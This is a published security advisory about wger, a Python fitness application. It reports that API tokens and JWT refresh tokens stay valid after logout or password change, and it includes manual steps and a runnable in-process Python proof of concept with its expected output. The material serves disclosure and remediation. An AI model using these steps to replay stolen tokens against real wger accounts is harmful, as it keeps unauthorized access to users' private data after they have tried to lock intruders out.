Medium

wger: API credentials remain valid after logout/password change

  • Disclosed: 07.10.2026
  • Updated: 15.10.2026 18:17

Summary

A vulnerability exists in the authentication/session lifecycle of wger where bearer-style API credentials remain valid after a user logs out and after a user changes their password. An attacker who steals a victim’s DRF authtoken (Authorization: Token ...) or JWT refresh token can continue to access protected /api/v2/* endpoints until the token is manually rotated/deleted (DRF token) or naturally expires (JWT refresh). lifecycle events do not revoke these credentials:

  • Logout (/user/logout) only clears the Django session cookie via django_logout() and does not revoke API tokens.
  • Password change updates the password hash, but does not revoke:
    • existing DRF tokens stored in authtoken_token
    • existing JWT refresh tokens (no server-side revocation list or token versioning); refresh can continue minting new access tokens until refresh expiry.

Vulnerable Files

  • wger/wger/core/views/user.py (logout implementation)
  • wger/settings/settings_global.py (DRF auth configuration, SimpleJWT defaults)
  • wger/settings/main.py (commonly used production defaults for JWT lifetimes)
  • wger/wger/utils/api_token.py (authtoken rotation is manual only)

PoC (Proof of Concept)

Manual Exploitation Steps

  1. Create a user account.
  2. Obtain a JWT refresh token:
    • POST /api/v2/token with username/password.
  3. Obtain a DRF token (API key):
    • use /user/api-key (or create token via admin/DB in a test environment).
  4. Change password:
    • POST /<lang>/user/password/change with old_password, new_password1, new_password2.
  5. Prove token replay:
    • Call a private endpoint using the old DRF token (should still return 200).
    • Call POST /api/v2/token/refresh using the old refresh token (should still return 200 and a new access token).

Automation PoC (Python)

Copy/paste runnable PoC (Django in-process test client; no dev server required):

python
import json
import os


def main() -> None:
    """
    PoC for IDENTITY-VULN-01:
    Proves that password change does not revoke:
      - DRF authtoken (Authorization: Token <key>)
      - JWT refresh tokens (still mint access tokens)

    This PoC runs entirely in-process using Django's test client + DRF APIClient.
    It does not require running the dev server.
    """

    os.environ.setdefault("DJANGO_SETTINGS_MODULE", "settings.main")
    # Ensure we use the local sqlite DB path used during setup
    os.environ.setdefault("DJANGO_DB_DATABASE", "db.sqlite3")
    os.environ.setdefault("DJANGO_MEDIA_ROOT", "media")

    import django

    django.setup()

    from django.conf import settings
    from django.contrib.auth.models import User
    from django.test import Client
    from rest_framework.authtoken.models import Token
    from rest_framework.test import APIClient

    username = "pwchange_user_poc"
    old_pw = "OldPassw0rd!"
    new_pw = "NewPassw0rd!"

    # Create a clean user + DRF token
    User.objects.filter(username=username).delete()
    user = User.objects.create_user(username=username, password=old_pw)
    Token.objects.filter(user=user).delete()
    drf_token = Token.objects.create(user=user).key

    api = APIClient()

    # Obtain JWT tokens with old password (proof baseline)
    r_obtain = api.post("/api/v2/token", {"username": username, "password": old_pw}, format="json")
    refresh = getattr(r_obtain, "data", {}).get("refresh")

    # Change password through the actual password change endpoint
    web = Client()
    web.force_login(user)
    r_pw = web.post(
        "/en/user/password/change",
        data={"old_password": old_pw, "new_password1": new_pw, "new_password2": new_pw},
        follow=False,
    )

    # Old password should fail now (sanity check)
    r_obtain_old = api.post(
        "/api/v2/token",
        {"username": username, "password": old_pw},
        format="json",
    )

    # New password should work
    r_obtain_new = api.post(
        "/api/v2/token",
        {"username": username, "password": new_pw},
        format="json",
    )

    # DRF token remains valid (private endpoint still accessible)
    api.credentials(HTTP_AUTHORIZATION=f"Token {drf_token}")
    r_drf = api.get("/api/v2/weightentry/")

    # Old refresh remains valid (still mints a new access token)
    api.credentials()
    r_refresh = api.post("/api/v2/token/refresh", {"refresh": refresh}, format="json")

    out = {
        "jwt_refresh_lifetime_seconds": int(settings.SIMPLE_JWT["REFRESH_TOKEN_LIFETIME"].total_seconds()),
        "jwt_access_lifetime_seconds": int(settings.SIMPLE_JWT["ACCESS_TOKEN_LIFETIME"].total_seconds()),
        "jwt_obtain_oldpw_before_change": r_obtain.status_code,
        "password_change_status": r_pw.status_code,
        "jwt_obtain_oldpw_after_change": r_obtain_old.status_code,
        "jwt_obtain_newpw_after_change": r_obtain_new.status_code,
        "drf_token_private_api_after_change": r_drf.status_code,
        "jwt_refresh_with_old_refresh_after_change": r_refresh.status_code,
        "jwt_refresh_response_keys": sorted(list(getattr(r_refresh, "data", {}).keys())),
    }

    print(json.dumps(out, indent=2))


if __name__ == "__main__":
    main()

Expected output (example from a successful run):

js
{
  "jwt_refresh_lifetime_seconds": 86400,
  "jwt_access_lifetime_seconds": 900,
  "jwt_obtain_oldpw_before_change": 200,
  "password_change_status": 302,
  "jwt_obtain_oldpw_after_change": 401,
  "jwt_obtain_newpw_after_change": 200,
  "drf_token_private_api_after_change": 200,
  "jwt_refresh_with_old_refresh_after_change": 200,
  "jwt_refresh_response_keys": [
    "access"
  ]
}

Impact

A user logs into the wger mobile app, their DRF token is intercepted via a MitM on a public WiFi network. The user notices suspicious activity, changes their password and logs out. Despite these remediation steps, the attacker's copy of the token remains fully valid. If an attacker obtains a victim’s API credential once, the victim’s primary remediation actions (logout and password change) do not terminate attacker access.

  • Confidentiality: attacker retains access to victim’s private API data (depends on endpoints used).
  • Integrity: attacker can perform any API mutations permitted to the victim’s account.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) wger <= 2.1 no fix

References

CVSS score 4.8/10
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
Weakness (CWE)
CWE-287, CWE-613
Platform
Python (PyPI)
Package
wger
Disclosed
07.10.2026
Updated
15.10.2026 18:17

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-4315 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-v3x9-6gg8-c2c9 - CC BY 4.0

Vulnerability history: wger

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (20) in the archive
Total entries
20
First → latest
11.2022 10.2026
Without a fix
16
Exploited in attacks
0

Severity breakdown

  • Critical 2
  • High 8
  • Medium 9
  • Low 1

Disclosures per year

  1. 2022: 1
  2. 2023: 2
  3. 2024: 0
  4. 2025: 0
  5. 2026: 17
Severity:
  1. wger: API credentials remain valid after logout/password change this entry
    Medium · 4.8 CVE-2026-46437 <= 2.1 no fix
  2. Critical · 9.8 CVE-2022-2650 < 2.2 2.2

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